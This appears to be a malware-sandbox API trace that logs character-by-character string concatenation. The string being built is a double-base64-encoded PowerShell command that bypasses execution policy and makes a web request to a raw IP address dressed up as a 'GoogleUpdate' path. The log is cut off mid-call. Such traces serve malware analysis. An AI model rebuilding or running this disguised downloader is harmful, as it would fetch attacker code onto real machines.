0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2d", bstrRight="u", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2du", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duY", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYU", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUh", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhS", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSM", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMG", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGN", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNE", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3Z", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZM", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMe", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMek", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekU", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUx", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxT", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTk", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0e", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5p", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pN", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNH", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHp", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpO", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.767] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOe", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeT", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR", bstrRight="4", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4T", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TW", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWp", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJ", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJd", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdl", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlI", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIy", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyO", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOX", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZ", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZa", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaM", bstrRight="n", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMn", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnh", bstrRight="s", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhs", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsV", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.768] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVl", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlh", bstrRight="C", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhC", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1l", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lY", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYU", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUm", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmx", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxM", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMM", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMV", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.769] VarBstrCat (in: 